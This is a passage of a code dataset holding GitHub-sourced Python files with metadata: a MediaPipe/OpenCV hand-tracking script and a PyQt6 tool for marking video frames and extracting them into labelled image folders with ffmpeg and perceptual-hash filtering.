117, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 124, "usage_type": "call"}, {"api_name": "csv.QUOTE_ALL", "line_number": 124, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path", "line_number": 129, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 130, "usage_type": "call"}, {"api_name": "astropy.io.fits.open", "line_number": 137, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 137, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 149, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 149, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 150, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 161, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 161, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 162, "usage_type": "call"}]} {"seq_id": "41705697211", "text": "## Hand Tracker Controller for robotic manipulator control\n# resolve the function issue: https://github.com/google/mediapipe/issues/2818\n# code mainly comes from the tutorial: https://www.analyticsvidhya.com/blog/2021/07/building-a-hand-tracking-system-using-opencv/\n# mediapipe documentation: https://google.github.io/mediapipe/solutions/hands#python-solution-api\n# color thresholding from: https://pyimagesearch.com/2014/08/04/opencv-python-color-detection/\n\nimport cv2\nfrom matplotlib.colors import hsv_to_rgb\nimport mediapipe as mp\nimport numpy as np\nimport time\n\n# detect colors\n# place marker on robot manipulator based on average of x and y values\n# maybe something to ignore outliers\nclass manipulatorDetector():\n def __init__(self):\n self.img = 0\n\n def findBlueJoint(self, img):\n blue = np.uint8([[[255,250,240 ]]])\n hsv_blue = cv2.cvtColor(blue,cv2.COLOR_BGR2HSV)\n print( hsv_blue )\n\n # Reading the image\n img = cv2.imread('hand_tracker_controller/gloved_hand2.jpg')\n\n # convert to hsv colorspace\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\n # lower bound and upper bound for Green color\n # these values were determined using the color picker at the beginning of the code\n # with some tolerance\n lower_bound = np.array([95, 5, 210]) \n upper_bound = np.array([105, 255, 255])\n\n # find the colors within the boundaries\n mask = cv2.inRange(hsv, lower_bound, upper_bound)\n\n #define kernel size \n kernel = np.ones((7,7),np.uint8)\n\n # Remove unnecessary noise from mask\n mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernel)\n mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n\n # Segment only the detected region\n segmented_img = cv2.bitwise_and(img, img, mask=mask)\n\n # Find contours from the mask\n contours, hierarchy = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n output = cv2.drawContours(segmented_img, contours, -1, (0, 0, 255), 3)\n\n # Draw contour on original image\n output = cv2.drawContours(img, contours, -1, (0, 0, 255), 3)\n\n return segmented_img\n\nclass handDetector():\n def __init__(self, mode = False, maxHands = 2, modelCom = 1, detectionCon = 0.5, trackCon = 0.5):\n self.mode = mode\n self.maxHands = maxHands\n self.modelCom = modelCom\n self.detectionCon = detectionCon\n self.trackCon = trackCon\n\n self.mpHands = mp.solutions.hands\n self.hands = self.mpHands.Hands(self.mode, self.maxHands, self.modelCom, self.detectionCon, self.trackCon)\n self.mpDraw = mp.solutions.drawing_utils\n \n def findHands(self, img, draw = True):\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n self.results = self.hands.process(imgRGB)\n # print(results.multi_hand_landmarks)\n\n if self.results.multi_hand_landmarks:\n for handLms in self.results.multi_hand_landmarks:\n if draw:\n self.mpDraw.draw_landmarks(img, handLms, self.mpHands.HAND_CONNECTIONS)\n return img\n\n def findPosition(self, img, handNo = 0, draw = True):\n\n lmlist = []\n if self.results.multi_hand_landmarks:\n myHand = self.results.multi_hand_landmarks[handNo]\n for id, lm in enumerate(myHand.landmark):\n h, w, c = img.shape\n cx, cy = int(lm.x * w), int(lm.y * h)\n lmlist.append([id, cx, cy])\n if draw:\n cv2.circle(img, (cx, cy), 3, (255, 0, 255), cv2.FILLED)\n return lmlist\n\nclass actuationSensor():\n def __init__(self):\n self.isAvgObtained = 0\n self.i = 0\n self.avgMaxActuationDist = 0\n\n ## get the maximum actuation distance\n # checks if first iteration and gets the starting time of the recording\n # eventually take an argument for what finger to detect\n def getMaxActuationDistance(self, lmlist):\n if (self.i == 0):\n self.startTime = time.time()\n self.maxActuationDistArray = np.array([])\n\n # checks if 5 seconds have passed\n if ((time.time() - self.startTime) < 5):\n self.maxActuationDistArray = np.append(self.maxActuationDistArray, abs(lmlist[8][2] - lmlist[5][2]))\n print(str(self.maxActuationDistArray[self.i]))\n\n else:\n self.avgMaxActuationDist = np.average(self.maxActuationDistArray)\n print(str(self.avgMaxActuationDist))\n self.isAvgObtained = 1\n self.i += 1\n\ndef main():\n manipulator = manipulatorDetector()\n detector = handDetector()\n hand = actuationSensor()\n render_im_path = \"hand_tracker_controller/gloved_hand2.jpg\"\n\n img = cv2.imread(render_im_path)\n #print(img)\n cv2.imshow(\"Image\", img)\n\n segmented_img = manipulator.findBlueJoint(img)\n\n cv2.imshow(\"segmented\", segmented_img)\n cv2.waitKey(0)\n \n # img = detector.findHands(img)\n # lmlist = detector.findPosition(img)\n # # prints the coordinates of the Landmark with the ID passed to lmlist\n # if len(lmlist) != 0:\n # print(lmlist[0])\n\n # cv2.imshow(\"Image\", img)\n # cv2.waitKey(0)\n\nif __name__ == \"__main__\":\n main()", "repo_name": "wsme-code/hand_tracker_controller", "sub_path": "hand_tracker_controller.py", "file_name": "hand_tracker_controller.py", "file_ext": "py", "file_size_in_byte": 5279, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.uint8", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 41, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 44, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 45, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_and", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 55, "usage_type": "call"}, {"api_name": "mediapipe.solutions", "line_number": 67, "usage_type": "attribute"}, {"api_name": "mediapipe.solutions", "line_number": 69, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 72, "usage_type": "attribute"}, {"api_name": "cv2.circle", "line_number": 92, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 92, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 107, "usage_type": "call"}, {"api_name": "time.time", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 126, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 128, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 132, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 133, "usage_type": "call"}]} {"seq_id": "31107003272", "text": "import os\nimport subprocess\nimport argparse\nimport sys\nimport signal\nimport shutil\n\nfrom PyQt6.QtGui import QIcon, QFont, QPainter, QPen\nfrom PyQt6.QtCore import QDir, Qt, QUrl, QSize\nfrom PyQt6.QtMultimedia import QMediaPlayer\nfrom PyQt6.QtMultimediaWidgets import QVideoWidget\nfrom PyQt6.QtWidgets import (QApplication, QFileDialog, QHBoxLayout, QLabel, QStyleFactory,\n QPushButton, QSizePolicy, QSlider, QStyle, QVBoxLayout, QWidget, QStatusBar, QMessageBox, QProgressDialog)\nfrom PIL import Image, UnidentifiedImageError\nimport imagehash\nimport glob\nimport cv2\nimport tensorflow as tf\n \ndef quit_app(*args):\n QApplication.instance().quit()\n\ndef resize_image(image_path, output_path, scale_factor):\n #image = Image.open(image_path)\n #new_size = (int(image.width * scale_factor), int(image.height * scale_factor))\n #image_resized = image.resize(new_size)\n #image_resized.save(output_path)\n image = cv2.imread(image_path)\n height, width = image.shape[:2]\n new_height = int(width * scale_factor)\n new_width = int(height * scale_factor)\n image_resized = tf.image.resize(image, [new_width, new_height])\n # image_resized.save(output_path)\n tf.keras.utils.save_img(output_path, image_resized)\n \ndef filter_similar_images(directory, hash_threshold=10):\n # image hash value\n image_files = sorted(glob.glob(os.path.join(directory, '*.jpg')))\n total_images = len(image_files)\n \n hashes = []\n for idx, img_file in enumerate(image_files):\n with Image.open(img_file) as img:\n h = imagehash.phash(img)\n hashes.append((img_file, h))\n # Print progress for every 10 images\n if idx % 10 == 0:\n print(f\"Processed {idx}/{total_images} images\", end='\\r')\n\n # grouping \n checked = set()\n to_keep = set()\n for i, (img_file1, hash1) in enumerate(hashes):\n if img_file1 in checked:\n continue\n similar_group = [img_file1]\n for j, (img_file2, hash2) in enumerate(hashes[i+1:], start=i+1):\n if hash1 - hash2 <= hash_threshold: # setting for hashing\n similar_group.append(img_file2)\n checked.update(similar_group)\n to_keep.update(similar_group[:40]) \n\n # delete other images\n for img_file in image_files:\n if img_file not in to_keep:\n os.remove(img_file)\n\ndef create_directory(path, name):\n directory_path = os.path.join(path, name)\n if os.path.exists(directory_path):\n shutil.rmtree(directory_path) # delete folder (reset)\n os.makedirs(directory_path)\n \ndef encode_to_120fps(input_file, output_file):\n abs_input_path = os.path.abspath(input_file)\n abs_output_path = os.path.abspath(output_file)\n command = f\"ffmpeg -i {abs_input_path} -r 120 {abs_output_path}\"\n subprocess.call(command, shell=True)\n \ndef extract_frames(input_file, output_folder, last_frame_number):\n abs_input_path = os.path.abspath(input_file)\n abs_output_folder = os.path.abspath(output_folder)\n \n if os.path.exists(abs_output_folder):\n shutil.rmtree(abs_output_folder)\n \n os.makedirs(abs_output_folder)\n \n output_path = os.path.join(abs_output_folder, '%d.jpg')\n command = f'ffmpeg -i \"{abs_input_path}\" -vf fps=120 -vframes {last_frame_number} \"{output_path}\"'\n \n result = subprocess.run(command, shell=True, capture_output=True, text=True)\n \n if result.returncode != 0:\n print(f\"Error occurred during ffmpeg execution:\\n{result.stderr}\")\n else:\n print(f\"ffmpeg output:\\n{result.stdout}\")\n \ndef save_extracted_images(output_folder, marks, group_name, hash_threshold):\n start = 1\n for idx, sublist in marks:\n if len(sublist) == 0: \n print(f\"task is completed.\")\n return\n end = min(sublist)\n \n # true image save\n for true_frame in sublist:\n true_image = os.path.join(output_folder, f\"{true_frame}.jpg\")\n destination = os.path.join(os.path.abspath(group_name), str(idx), 'true')\n shutil.copy(true_image, destination)\n\n # false image save\n for false_frame in range(start, end): \n false_image = os.path.join(output_folder, f\"{false_frame}.jpg\")\n destination = os.path.join(os.path.abspath(group_name), str(idx), 'false')\n shutil.copy(false_image, destination)\n \n start = min(sublist)\n \n false_dirs = os.path.join(group_name, str(idx), 'false')\n filter_similar_images(false_dirs, hash_threshold)\n \nclass CustomSlider(QSlider):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.marked_positions = []\n \n# main class\nclass VideoPlayer(QWidget): \n def __init__(self, parent=None, group_name=None, directory_path=None):\n super(VideoPlayer, self).__init__(parent)\n self.group_name = group_name\n self.directory_path = directory_path\n self.setFocusPolicy(Qt.FocusPolicy.StrongFocus)\n self.frame_duration = float(1000 / 120) # time of 1 frame (milisec)\n self.mediaPlayer = QMediaPlayer()\n self.frame_range = {}\n self.true_frames = {key: [] for key in range(16)}\n\n btnSize = QSize(16, 16)\n videoWidget = QVideoWidget()\n videoWidget.setStyleSheet(\"background-color: black;\")\n\n openButton = QPushButton(\"Open Video\") \n openButton.setToolTip(\"Open Video File\")\n openButton.setStatusTip(\"Open Video File\")\n openButton.setFixedHeight(24)\n openButton.setIconSize(btnSize)\n openButton.setFont(QFont(\"Noto Sans\", 8))\n openButton.setIcon(QIcon.fromTheme(\"document-open\", QIcon(\"D:/_Qt/img/open.png\")))\n openButton.clicked.connect(self.abrir)\n\n self.playButton = QPushButton()\n self.playButton.setEnabled(False)\n self.playButton.setFixedHeight(24)\n self.playButton.setIconSize(btnSize)\n self.playButton.setIcon(self.style().standardIcon(QStyle.StandardPixmap.SP_MediaPlay))\n self.playButton.clicked.connect(self.play)\n\n self.positionSlider = CustomSlider(Qt.Orientation.Horizontal)\n self.positionSlider.setRange(0, 0)\n self.positionSlider.sliderMoved.connect(self.setPosition)\n\n self.statusBar = QStatusBar()\n self.statusBar.setFont(QFont(\"Noto Sans\", 7))\n self.statusBar.setFixedHeight(14)\n\n self.markFrameButton = QPushButton(\"No Marked\")\n self.markFrameButton.setEnabled(False)\n \n self.extractButton = QPushButton(\"Extract Images\")\n self.extractButton.setEnabled(False)\n self.extractButton.clicked.connect(self.extract_images)\n\n controlLayout = QHBoxLayout()\n controlLayout.setContentsMargins(0, 0, 0, 0)\n controlLayout.addWidget(openButton)\n controlLayout.addWidget(self.playButton)\n controlLayout.addWidget(self.positionSlider)\n controlLayout.addWidget(self.markFrameButton)\n controlLayout.addWidget(self.extractButton)\n \n self.markedInfoLabel = QLabel() # Used to display marked frames\n self.markedInfoLabel.setFont(QFont(\"Noto Sans\", 10))\n \n markedInfoLayout = QHBoxLayout()\n markedInfoLayout.addWidget(self.markedInfoLabel)\n \n self.frameInfoLabel = QLabel() # Used to display current frame number\n self.frameInfoLabel.setFont(QFont(\"Noto Sans\", 12))\n \n self.timeLabel = QLabel() # label for timer\n self.timeLabel.setFont(QFont(\"Noto Sans\", 12))\n self.timeLabel.setAlignment(Qt.AlignmentFlag.AlignRight)\n \n labelLayout = QHBoxLayout()\n labelLayout.addWidget(self.frameInfoLabel)\n labelLayout.addWidget(self.timeLabel)\n\n mainLayout = QVBoxLayout()\n mainLayout.addWidget(videoWidget)\n mainLayout.addLayout(controlLayout)\n mainLayout.addLayout(markedInfoLayout)\n mainLayout.addLayout(labelLayout)\n\n self.setLayout(mainLayout)\n\n self.mediaPlayer.setVideoOutput(videoWidget)\n self.mediaPlayer.playbackStateChanged.connect(self.mediaStateChanged)\n self.mediaPlayer.positionChanged.connect(self.positionChanged)\n self.mediaPlayer.durationChanged.connect(self.durationChanged)\n self.mediaPlayer.errorChanged.connect(self.handleError)\n self.statusBar.showMessage(\"Ready\")\n \n self.markedInfoLabel.setText(\"Marked Info\")\n self.frameInfoLabel.setText(\"frame Info\")\n self.timeLabel.setText(\"Time Info\")\n\n self.markedInfoLabel.setFixedHeight(12)\n self.frameInfoLabel.setFixedHeight(20)\n self.timeLabel.setFixedHeight(20)\n\n # open video\n def abrir(self):\n fileName, _ = QFileDialog.getOpenFileName(self, \"Select Media\",\n \".\", \"Video Files (*.mp4 *.flv *.ts *.mts *.avi *.m4a)\")\n \n self.markFrameButton.setEnabled(True)\n self.extractButton.setEnabled(True)\n\n if fileName != '':\n # end with 'encoded'\n if not os.path.splitext(fileName)[0].endswith(\"_encoded\"):\n # do encoding\n basename = os.path.basename(fileName)\n name, ext = os.path.splitext(basename)\n encoded_file = os.path.join(os.path.dirname(fileName), f\"{name}_encoded{ext}\")\n encode_to_120fps(fileName, encoded_file)\n else:\n # skip encoding\n encoded_file = fileName\n \n self.mediaPlayer.setSource(QUrl.fromLocalFile(encoded_file))\n self.playButton.setEnabled(True)\n self.statusBar.showMessage(encoded_file)\n self.play()\n \n def extract_images(self):\n url = self.mediaPlayer.source()\n video_file = url.toLocalFile()\n\n output_folder = os.path.join(self.directory_path, \"image\")\n \n marks = [frame for sublist in self.true_frames.values() for frame in sublist]\n last_frame = max(marks) if marks else 0\n print(f\"{last_frame}\")\n extract_frames(video_file, output_folder, last_frame)\n print(f\"Images extracted to {output_folder}\")\n\n for filename in os.listdir(output_folder):\n if filename.endswith(\".jpg\"):\n img_path = os.path.join(output_folder, filename)\n resize_image(img_path, img_path, 1/2)\n \n # Create folders\n for idx, frames in self.true_frames.items():\n if len(frames) == 0:\n continue\n \n new_folder_name = str(idx) \n new_folder_path = os.path.join(self.group_name, new_folder_name)\n create_directory(self.group_name, new_folder_name)\n\n # true and false subfolder\n create_directory(new_folder_path, \"true\")\n create_directory(new_folder_path, \"false\")\n\n save_extracted_images(os.path.abspath(output_folder), self.true_frames.items(), self.group_name, hash_threshold=args.s)\n \n def update_marked_info(self):\n marked_info_texts = []\n for index, ranges in self.frame_range.items():\n ranges_count = len(ranges)\n if ranges_count == 0:\n continue\n elif ranges_count == 1:\n marked_info_texts.append(f\"Mark {index-48}: {ranges[0]}~{ranges[0]}\")\n else:\n marked_info_texts.append(f\"Mark {index-48}: {ranges[0]}~{ranges[1]}\")\n self.markedInfoLabel.setText(\" | \".join(marked_info_texts))\n\n def play(self):\n if self.mediaPlayer.playbackState() == QMediaPlayer.PlaybackState.PlayingState:\n self.mediaPlayer.pause()\n else:\n self.mediaPlayer.play()\n\n def mediaStateChanged(self, state):\n if self.mediaPlayer.playbackState() == QMediaPlayer.PlaybackState.PlayingState:\n self.playButton.setIcon(\n self.style().standardIcon(QStyle.StandardPixmap.SP_MediaPause))\n else:\n self.playButton.setIcon(\n self.style().standardIcon(QStyle.StandardPixmap.SP_MediaPlay))\n\n def setPosition(self, position):\n self.mediaPlayer.setPosition(position)\n \n def positionChanged(self, position):\n self.positionSlider.setValue(position)\n self.update_frame_number()\n \n # minutes, seconds = divmod(position // 1000, 60)\n minutes, remainder = divmod(position, 60000)\n seconds, millisec = divmod(remainder, 1000)\n self.timeLabel.setText(f\"{minutes:02}:{seconds:02}.{millisec:03}\")\n # current location = mark frame location\n self.update_button_text()\n\n def durationChanged(self, duration):\n self.positionSlider.setRange(0, duration)\n self.update_frame_number()\n\n def update_frame_number(self):\n current_frame = int(self.mediaPlayer.position() // self.frame_duration)\n if current_frame != 0:\n current_frame += 1\n total_frames = int(self.mediaPlayer.duration() // self.frame_duration)\n self.frameInfoLabel.setText(f\"{current_frame}/{total_frames}\")\n \n def update_button_text(self):\n current_position = int(self.mediaPlayer.position() // self.frame_duration)\n if current_position != 0:\n current_position += 1\n # current location = mark frame location\n group_name = None\n for group, frames in self.true_frames.items():\n if current_position in frames:\n group_name = str(group) if group < 10 else chr(ord('A') + group - 10)\n break\n \n if group_name:\n self.markFrameButton.setText(group_name)\n else:\n self.markFrameButton.setText(\"No Marked\")\n \n def keyPressEvent(self, event):\n if event.key() == Qt.Key.Key_Space:\n self.play() \n return \n \n if event.key() == Qt.Key.Key_Right:\n self.mediaPlayer.pause()\n position = self.mediaPlayer.position()\n new_position = int(round(position + self.frame_duration))\n self.mediaPlayer.setPosition(new_position)\n elif event.key() == Qt.Key.Key_Left:\n self.mediaPlayer.pause()\n position = self.mediaPlayer.position()\n new_position = int(round(max(0, position - self.frame_duration)))\n self.mediaPlayer.setPosition(new_position)\n frame_keys = [Qt.Key.Key_0, Qt.Key.Key_1, Qt.Key.Key_2, Qt.Key.Key_3,\n Qt.Key.Key_4, Qt.Key.Key_5, Qt.Key.Key_6, Qt.Key.Key_7,\n Qt.Key.Key_8, Qt.Key.Key_9, Qt.Key.Key_A, Qt.Key.Key_B,\n Qt.Key.Key_C, Qt.Key.Key_D, Qt.Key.Key_E, Qt.Key.Key_F]\n \n for i, key in enumerate(frame_keys):\n if event.key() == key:\n current_frame = int(self.mediaPlayer.position() // self.frame_duration)\n if current_frame != 0:\n current_frame += 1\n if key not in self.frame_range:\n self.frame_range[key] = []\n self.frame_range[key].append(current_frame) # Set start frame\n self.true_frames[i].append(current_frame)\n else:\n if len(self.frame_range[key]) >= 2:\n if current_frame < self.frame_range[key][0]:\n del self.frame_range[key][0]\n self.frame_range[key].insert(0, current_frame)\n elif current_frame == self.frame_range[key][0]:\n self.frame_range[key][0] = self.frame_range[key][1]\n else:\n del self.frame_range[key][1]\n self.frame_range[key].append(current_frame)\n else:\n if current_frame < self.frame_range[key][0]:\n self.frame_range[key].insert(0, current_frame)\n else:\n self.frame_range[key].append(current_frame)\n start_frame = self.frame_range[key][0]\n end_frame = self.frame_range[key][1]\n \n # Update \n self.true_frames[i] = list(range(start_frame, end_frame + 1))\n \n self.update_marked_info()\n self.update_button_text()\n\n def handleError(self):\n self.playButton.setEnabled(False)\n self.statusBar.showMessage(\"Error: \" + self.mediaPlayer.errorString())\n\nif __name__ == '__main__':\n signal.signal(signal.SIGINT, quit_app)\n \n parser = argparse.ArgumentParser(description='Process arguments.', usage='video.py -g [name] <-s [int]>')\n parser.add_argument('-g', required=True, help='Name for new directory')\n parser.add_argument('-s', type=int, default=10, help='Hash setting, Default = 10')\n parser.add_argument('-p', default=\"\", help='path setting, Default = Video path')\n args = parser.parse_args()\n \n directory_path = args.p if args.p else os.getcwd()\n create_directory(directory_path, args.g)\n\n app = QApplication(sys.argv)\n app.setStyleSheet(\"\"\"\n QStatusBar {\n font-size: 12px;\n }\n \"\"\")\n player = VideoPlayer(group_name=args.g, directory_path=directory_path)\n player.setWindowTitle(\"Player\")\n player.resize(900, 600)\n player.show()\n sys.exit(app.exec())\n", "repo_name": "noah513/UGRP", "sub_path": "video.py", "file_name": "video.py", "file_ext": "py", "file_size_in_byte": 17457, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PyQt6.QtWidgets.QApplication.instance", "line_number": 21, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QApplication", "line_number": 21, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.image.resize", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 32, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.utils.save_img", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 34, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 43, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 43, "usage_type": "name"}, {"api_name": "imagehash.phash", "line_number": 44, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 71, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 85, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 110, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 116, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "PyQt6.QtWidgets.QSlider", "line_number": 124, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QWidget", "line_number": 130, "usage_type": "name"}, {"api_name": "PyQt6.QtCore.Qt.FocusPolicy", "line_number": 135, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 135, "usage_type": "name"}, {"api_name": "PyQt6.QtMultimedia.QMediaPlayer", "line_number": 137, "usage_type": "call"}, {"api_name": "PyQt6.QtCore.QSize", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt6.QtMultimediaWidgets.QVideoWidget", "line_number": 142, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QPushButton", "line_number": 145, "usage_type": "call"}, {"api_name": "PyQt6.QtGui.QFont", "line_number": 150, "usage_type": "call"}, {"api_name": "PyQt6.QtGui.QIcon.fromTheme", "line_number": 151, "usage_type": "call"}, {"api_name": "PyQt6.QtGui.QIcon", "line_number": 151, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QPushButton", "line_number": 154, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QStyle.StandardPixmap", "line_number": 158, "usage_type": "attribute"}, {"api_name": "PyQt6.QtWidgets.QStyle", "line_number": 158, "usage_type": "name"}, {"api_name": "PyQt6.QtCore.Qt.Orientation", "line_number": 161, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 161, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QStatusBar", "line_number": 165, "usage_type": "call"}, {"api_name": "PyQt6.QtGui.QFont", "line_number": 166, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QPushButton", "line_number": 169, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QPushButton", "line_number": 172, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QHBoxLayout", "line_number": 176, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QLabel", "line_number": 184, "usage_type": "call"}, {"api_name": "PyQt6.QtGui.QFont", "line_number": 185, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QHBoxLayout", "line_number": 187, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QLabel", "line_number": 190, "usage_type": "call"}, {"api_name": "PyQt6.QtGui.QFont", "line_number": 191, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QLabel", "line_number": 193, "usage_type": "call"}, {"api_name": "PyQt6.QtGui.QFont", "line_number": 194, "usage_type": "call"}, {"api_name": "PyQt6.QtCore.Qt.AlignmentFlag", "line_number": 195, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 195, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QHBoxLayout", "line_number": 197, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QVBoxLayout", "line_number": 201, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QFileDialog.getOpenFileName", "line_number": 226, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QFileDialog", "line_number": 226, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 234, "usage_type": "call"}, {"api_name": "os.path", "line_number": 234, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 236, "usage_type": "call"}, {"api_name": "os.path", "line_number": 236, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 237, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 238, "usage_type": "call"}, {"api_name": "PyQt6.QtCore.QUrl.fromLocalFile", "line_number": 244, "usage_type": "call"}, {"api_name": "PyQt6.QtCore.QUrl", "line_number": 244, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 253, "usage_type": "call"}, 